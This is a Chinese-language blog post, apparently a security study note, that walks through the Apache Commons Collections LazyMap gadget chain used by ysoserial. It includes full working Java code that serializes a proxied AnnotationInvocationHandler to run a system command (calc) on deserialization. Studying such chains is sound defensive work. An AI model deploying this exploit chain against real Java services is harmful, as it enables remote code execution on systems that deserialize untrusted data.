本文最后更新于:2024年10月14日 下午
之前分析了TransformMap
那条链,现在分析一下LazyMap
LazyMap
这条链子是ysoserial
在使用,其同样在org.apache.commons.collections.map
路径下,我在其源码中可以看到,在get
方法中调用了transform()
这个函数。
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
现在我们找到了最底层的出发点,现在向上查看对LayMap.get()
的调用,可以发现有一大堆,直接看看ysoserial
里面是怎么设计的,还是使用了AnnotationInvocationHandler
这个类,但是并不是在它的readObject
函数中了,搜索一下get
,在77行的位置,invoke
函数中调用了Map类的get
函数,而LazyMap
显然是继承Map
类的。
下一个问题是,如何使用AnnotationInvocationHandler
的invoke
函数,从这个类的注释中可以发现,它是对注解调用处理的动态代理实现。关于动态代理可以看看JavaSec的这篇文章,Java动态代理
在ysoserial
中也是使用了动态代理的方法进行的构造,创建动态代理类会使用到java.lang.reflect.Proxy
类和java.lang.reflect.InvocationHandler
接口。java.lang.reflect.Proxy
主要用于生成动态代理类Class
、创建代理类实例。
创建动态代理实例代码:
1 2 Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class [] {Map.class}, handler);
Proxy.newProxyInstance
的第一个参数是ClassLoader
,我们用默认的即可;第二个参数是我们需要代理的对象集合;第三个参数是一个实现了InvocationHandler
接口的对象,里面包含了具体代理的逻辑。被代理的接口类通过调用动态代理处理类(InvocationHandler
)的invoke
方法获取方法执行结果 。
根据构造的需要,要触发AnnotationInvocationHandler
的invoke
,对其进行动态代理,再调用任意函数就可以了,调用函数简单,反序列化自动会调用Map
的一些函数。
所以根据TransformMap
的链子我们可以写出lazyMap
的链子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public static void main (String[] args) throws Exception { Transformer[] tfs = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer transformerChain = new ChainedTransformer (tfs); Map<Object, Object> map = new HashMap <>(); map.put("value" , "3xsh0re" ); Map<Object,Object> lazyMap = LazyMap.decorate(map,transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class,lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class [] {Map.class}, handler); handler = (InvocationHandler) constructor.newInstance(Target.class,proxyMap); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(handler); oos.close(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
我自己的payload在调试过程中会弹出很多次计算器,因为被代理后,只要使用Map
相关的函数就会到invoke
。调试器会调用一些toString之类的方法,导致不经意间触发了 命令。ysoserial
对此有一些处理,它在POC的最后才将执行命令的Transformer
数组设置到transformerChain
中,原因是避免本地生成序列化流的程序执行到命令。可以发现ysoserial
实现了一个工具类去处理这种情况。
最后来捋一捋这个逻辑:
AnnotationInvocationHandler
封装proxyMap
从而可以被序列化
AnnotationInvocationHandler
代理Map.class
从而可以触发invoke
函数
构造的AnnotationInvocationHandler
实例中,lazyMap
作为成员变量被传入,在invoke
函数中调用get
函数
在lazyMap.get()
中调用transform
1 2 3 4 5 6 AnnotationInvocationHandler.readObject() -> Map (Proxy ) .entrySet () -> AnnotationHandler.Invoke() -> LazyMap.get() -> ChainedTransformer.transform() -> InvokerTransformer.transform()
CC链分析完整测试代码,可直接拉取